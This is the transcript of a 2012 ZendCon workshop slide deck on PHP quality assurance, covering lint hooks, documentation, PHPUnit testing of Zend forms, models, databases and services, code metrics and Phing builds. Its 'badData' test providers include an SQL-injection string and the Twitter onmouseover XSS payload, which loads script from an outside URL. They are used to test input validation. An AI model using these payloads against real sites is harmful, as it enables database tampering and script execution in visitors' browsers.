Your SlideShare is downloading. ×
Quality Assurance for PHP projects - ZendCon 2012
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×

Saving this for later?

Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime - even offline.

Text the download link to your phone

Standard text messaging rates apply

Quality Assurance for PHP projects - ZendCon 2012

8,748
views

Published on


0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
8,748
On Slideshare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
56
Comments
0
Likes
2
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Quality Assurancefor PHP projects ZendCon 2012, Santa Clara CA
  • 2. Michelangelo van Dam
  • 3. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  • 4. #zendcon12 #wsqa
  • 5. Introduction to QA
  • 6. Why QA?
  • 7. Why QASafeguarding code
  • 8. Detect bugs early
  • 9. Observe behavior
  • 10. Prevent accidents from happening
  • 11. Tracking progress
  • 12. Why invest in QA?
  • 13. Keeps your code in shape
  • 14. Measures speed and performance
  • 15. Boosts team spirit
  • 16. Saves time
  • 17. Reports continuously
  • 18. Delivers ready to deploy packages
  • 19. Quality Assurance Tools
  • 20. Revision Control
  • 21. SCM Tools• Subversion• Git• Mercurial• Bazaar• Source Vault
  • 22. FTP
  • 23. Advantages of SCM TIP:  hooks  for  tools• team development possible• tracking multi-versions of source code• moving back and forth in history• tagging of milestones• backup of source code•- accessible from command line - native apps - IDE’s - analytical tools
  • 24. Syntax Checking
  • 25. php  -­‐l  (lint)h4p://www.php.net/manual/en/features.commandline.op>ons.php
  • 26. PHP Lint TIP:  pre-­‐commit  hook• checks the syntax of code• build in PHP core•- is used per file pre-commit hook for version control system - batch processing of files• can provide reports - but if something fails -> the build fails
  • 27. Syntaxphp -lf /path/to/filename.php
  • 28. PHP  Lint  on  Command  Line
  • 29. SVN Pre commit hook#!/bin/sh## Pre-commit hook to validate syntax of incoming PHP files, if no failures it# accepts the commit, otherwise it fails and blocks the commitREPOS="$1"TXN="$2"# modify these system executables to match your systemPHP=/usr/bin/phpAWK=/usr/bin/awkGREP=/bin/grepSVNLOOK=/usr/bin/svnlook# PHP Syntax checking with PHP Lint# originally from Joe Stump at Digg# https://gist.github.com/53225#for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK {print $2}`do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = FALSE ]; then echo $CHECK 1>&2; exit 1 fi fidone
  • 30. SVN  pre-­‐commit  hook
  • 31. Documenting
  • 32. Why documenting?• new members in the team• working with remote workers• analyzing improvements• think before doing• used by IDE’s and editors for code hinting ;-)
  • 33. PHPDoc2phpDocumentor + DocBlox March 16, 2012
  • 34. Phpdoc2
  • 35. Phpdoc2  class  details
  • 36. Based  on  docblocks  in  code
  • 37. And  the  output
  • 38. Phpdoc2  class  rela>on  chart
  • 39. Phpdoc2  on  your  project
  • 40. Testing
  • 41. developer testing 201:when to mock and when to integrate
  • 42. Any reasons not to test?
  • 43. Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…
  • 44. NO EXCUSES!
  • 45. Maintainability•- during development test will fail indicating bugs•- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it!• long term projects - refactoring made easy
  • 46. Remember“Once a test is made, it will always be tested!”
  • 47. Confidence•- for the developer code works•- for the manager project succeeds•- for sales / general management / share holders making profit•- for the customer paying for what they want
  • 48. Unit testing ZF apps
  • 49. Setting things up
  • 50. phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter></phpunit>
  • 51. TestHelper.php<?php// set our app paths and environmentsdefine(BASE_PATH, realpath(dirname(__FILE__) . /../));define(APPLICATION_PATH, BASE_PATH . /application);define(TEST_PATH, BASE_PATH . /tests);define(APPLICATION_ENV, testing);// Include pathset_include_path( . PATH_SEPARATOR . BASE_PATH . /library . PATH_SEPARATOR . get_include_path());// Set the default timezone !!!date_default_timezone_set(Europe/Brussels);// We wanna catch all errors en strict warningserror_reporting(E_ALL|E_STRICT);require_once Zend/Application.php;$application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini);$application->bootstrap();
  • 52. Zend_Tool since 1.11.4• provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 53. Let’s get started…
  • 54. Testing Zend_Form
  • 55. CommentForm Name:E-mail Address: Website: Comment: Post
  • 56. Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }}
  • 57. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertTrue($this->_form->isValid($data));}
  • 58. Protection!Protection
  • 59. Little Bobby Tables http://xkcd.com/327/
  • 60. Twitter Hack http://xkcd.com/327/http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
  • 61. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little Bobby Tables), array (str_repeat(x, 100000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter 9/21/2010), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertFalse($this->_form->isValid($data));}
  • 62. Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { /* Form Elements & Other Definitions Here ... */ }}
  • 63. Let’s run the test
  • 64. Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { $this->addElement(text, name, array ( Label => Name, Required => true)); $this->addElement(text, mail, array ( Label => E-mail Address, Required => true)); $this->addElement(text, web, array ( Label => Website, Required => false)); $this->addElement(textarea, comment, array ( Label => Comment, Required => true)); $this->addElement(submit, post, array ( Label => Post, Ignore => true)); }}
  • 65. Less errors?
  • 66. Filter - Validate$this->addElement(text, name, array ( Label => Name, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, mail, array ( Label => E-mail Address, Required => true, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, web, array ( Label => Website, Required => false, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(textarea, comment, array ( Label => Comment, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000))),));
  • 67. Green, warm & fuzzy
  • 68. You’re a winner!☑ quality code☑ tested☑ secure☑ reusable
  • 69. Testing models
  • 70. Testing business logic•- models contain logic tied to your business - tied to your storage - tied to your resources• no “one size fits all” solution
  • 71. Type: data containers•- contains structured data populated through setters and getters•- perform logic tied to it’s purpose transforming data - filtering data - validating data• can convert into other data types - arrays - strings (JSON, serialized, xml, …)• are providers to other models
  • 72. Comment Class
  • 73. Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}
  • 74. This test won’t run!
  • 75. Create a simple model<?phpclass Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( id => $this->getId(), fullName => $this->getFullName(), emailAddress => $this->getEmailAddress(), website => $this->getWebsite(), comment => $this->getComment(), ); }}
  • 76. We pass the test…
  • 77. Really ???
  • 78. Not all data from form!•- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others)• simply test it - by using same test scenario’s from our form
  • 79. The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail(Unexpected exception should not be triggered); } $data[id] = 0; $data[emailAddress] = strtolower($data[emailAddress]); $data[website] = strtolower($data[website]); $this->assertSame($this->_comment->toArray(), $data);}
  • 80. The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little BobbyTables), array (str_repeat(x, 1000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter9/21/2010), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail(Expected exception should be triggered);}
  • 81. Let’s run it
  • 82. Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){ $this->_filters = array ( id => array (Int), fullName => array (StringTrim, StripTags, new Zend_Filter_Alnum(true)), emailAddress => array (StringTrim, StripTags, StringToLower), website => array (StringTrim, StripTags, StringToLower), comment => array (StringTrim, StripTags), ); $this->_validators = array ( id => array (Int), fullName => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), emailAddress => array ( EmailAddress, new Zend_Validate_StringLength(array (min => 4, max => 50)), ), website => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), comment => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000)), ), ); if (null !== $params) { $this->populate($params); }}
  • 83. Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (id => $id)); if (!$input->isValid(id)) { throw new Zend_Exception(Invalid ID provided); } $this->_id = (int) $input->id; return $this;}public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (fullName => $fullName)); if (!$input->isValid(fullName)) { throw new Zend_Exception(Invalid fullName provided); } $this->_fullName = (string) $input->fullName; return $this;}
  • 84. Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (emailAddress => $emailAddress)); if (!$input->isValid(emailAddress)) { throw new Zend_Exception(Invalid emailAddress provided); } $this->_emailAddress = (string) $input->emailAddress; return $this;}public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (website => $website)); if (!$input->isValid(website)) { throw new Zend_Exception(Invalid website provided); } $this->_website = (string) $input->website; return $this;}
  • 85. and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (comment => $comment)); if (!$input->isValid(comment)) { throw new Zend_Exception(Invalid comment provided); } $this->_comment = (string) $input->comment; return $this;}
  • 86. Now we’re good!
  • 87. Testing Databases
  • 88. Integration Testing•- database specific functionality triggers - constraints - stored procedures - sharding/scalability• data input/output - correct encoding of data - transactions execution and rollback
  • 89. Points of concern•- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP• beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 90. The domain Model• Model object• Mapper object• Table gateway object Read more about it ☞
  • 91. Change our test classclass Application_Model_CommentTest extends PHPUnit_Framework_TestCasebecomesclass Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 92. Setting DB Testing upprotected $_connectionMock;public function getConnection(){ if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); $this->bootstrap->bootstrap(db); $db = $this->bootstrap->getBootstrap()->getResource(db); $this->_connectionMock = $this->createZendDbConnection( $db, zftest ); return $this->_connectionMock; }}public function getDataSet(){ return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . /../tests/_files/initialDataSet.xml));}
  • 93. initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 94. Testing SELECTpublic function testDatabaseCanBeRead(){ $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/selectDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 95. selectDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 96. Testing UPDATEpublic function testDatabaseCanBeUpdated(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment(I like you picking up the challenge!); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/updateDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 97. updateDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 98. Testing DELETEpublic function testDatabaseCanDeleteAComment(){ $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/deleteDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 99. deleteDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/></dataset>
  • 100. Testing INSERTpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $ds);}
  • 101. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  • 102. Run Test
  • 103. What went wrong here?
  • 104. AUTO_INCREMENT
  • 105. Testing INSERT w/ filterpublic function testDatabaseCanAddAComment(){ $comment = new Application_Model_Comment(); $comment->setFullName(Michelangelo van Dam) ->setEmailAddress(dragonbe@gmail.com) ->setWebsite(http://www.dragonbe.com) ->setComment(Unit Testing, It is so addictive!!!); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable(comment, SELECT * FROM `comment`); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array (comment => array (id))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . /../tests/_files/addDataSet.xml); $this->assertDataSetsEqual($expected, $filteredDs);}
  • 106. insertDataSet.xml<?xml version="1.0" encoding="UTF-8"?><dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesnt test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/></dataset>
  • 107. Run Test
  • 108. Testing web services
  • 109. Web services remarks•- you need to comply with an API that will be your reference•- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 110. Example: joind.in
  • 111. http://joind.in/api
  • 112. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  • 113. JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 114. Testing the service
  • 115. Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 116. And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s !
  • 117. Solution… right here!
  • 118. Your expectations
  • 119. JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}
  • 120. JoindinUserMockTestpublic function testJoindinCanGetUserDetails(){ $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item></response>EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 121. JoindinStatusMockTestpublic function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $response = <<<EOSHTTP/1.1 200 OKContent-type: text/xml<?xml version="1.0"?><response> <dt>{$date->format(r)}</dt> <test_string>testing unit test</test_string></response>EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}
  • 122. Good implementation?
  • 123. Controller Testing
  • 124. Our form flow
  • 125. Setting up ControllerTest<?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{ public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); parent::setUp(); }}
  • 126. Testing if form is on pagepublic function testIndexAction(){ $params = array( action => index, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertQueryContentContains( h1#pageTitle, Please leave a comment); $this->assertQueryCount(form#commentForm, 1);}
  • 127. Test processingpublic function testProcessAction(){ $testData = array ( name => testUser, mail => test@example.com, web => http://www.example.com, comment => This is a test comment, ); $params = array(action => process, controller => index, module => default); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod(post); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertResponseCode(302); $this->assertRedirectTo(/index/success); $this->resetRequest(); $this->resetResponse(); $this->dispatch(/index/success); $this->assertQueryContentContains(span#fullName, $testData[name]);}
  • 128. REMARK•- data providers can be used to test valid data - to test invalid data• but we know it’s taken care of our model - just checking for error messages in form
  • 129. Test if we hit homepublic function testSuccessAction(){ $params = array( action => success, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/);}
  • 130. Running the tests
  • 131. Testing it all
  • 132. Testing it all
  • 133. Our progress report
  • 134. Conclusion
  • 135. • unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
  • 136. Fork this codehttp://github.com/DragonBe/zftest
  • 137. Measuring
  • 138. Code Analysis
  • 139. Questions• how stable is my code?• how flexible is my code?• how complex is my code?• how easy can I refactor my code?
  • 140. Answers• PHPDepend - Dependency calculations• PHPMD - Mess detections and code “smells”• PHPCPD - Copy/paste detection• PHPCS - PHP_CodeSniffer
  • 141. PHP Depend
  • 142. What?• generates metrics• measure health• identify parts to improve (refactor)
  • 143. pdepend pyramid
  • 144. • CYCLO: Cyclomatic Complexity• LOC: Lines of Code• NOM: Number of Methods• NOC: Number of Classes• NOP: Number of Packages• AHH: Average Hierarchy Height• ANDC: Average Number of Derived Classes• FANOUT: Number of Called Classes• CALLS: Number of Operation Calls
  • 145. Cyclomatic Complexity• metric calculation• execution paths•- independent control structures if, else, for, foreach, switch case, while, do, …• within a single method or function•- more info http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  • 146. Average Hierarchy HeightThe average of the maximum length from a root class to its deepest subclass
  • 147. pdepend pyramidInheritance few classes derived from other classes lots of classes inherit from other classes
  • 148. pdepend pyramidSize and complexity
  • 149. pdepend pyramid Coupling
  • 150. pdepend pyramid High value
  • 151. pdepend-graphgraph  about  stability:  a  mix  between  abstract  and  concrete  classes
  • 152. PHP  Depend
  • 153. PHP Mess Detection
  • 154. What?•- detects code smells possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  • 155. PHPMD  in  ac>on
  • 156. PHP Copy/Paste Detection
  • 157. What?•- detects similar code snippets plain copy/paste work - similar code routines• indicates problems - maintenance hell - downward spiral of disasters• stimulates improvements - refactoring of code - moving similar code snippets in common routines
  • 158. PHP CodeSniffer
  • 159. Required evil•- validates coding standards consistency - readability• set as a policy for development• reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code• can be set as pre-commit hook - but can cause frustration!!!
  • 160. Performance Analysis
  • 161. https://twitter.com/#!/andriesss/status/189712045766225920
  • 162. Automating
  • 163. Key reason“computers are great at doing repetitive tasks very well”
  • 164. Repetition• syntax checking• documenting• testing• measuring
  • 165. Why Phing?• php based (it’s already on our system)• open-source• supported by many tools• very simple syntax• great documentation
  • 166. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  • 167. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"><project set global and local properties --> <!-- name="Application build" default="phplint"> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  • 168. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <!-- set file="build.properties"/> <property <property file="local.properties" properties --> global and local override="true" /> <property file="build.properties" /> <property our code base files --> <!-- define file="local.properties" override="true" /> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
  • 169. Structure of a build<?xml version="1.0" encoding="UTF-8"?><project name="Application build" default="phplint"> <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define ourour code files --> <!-- define code base base files --> <fileset dir="${project.basedir}" id="phpfiles"> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
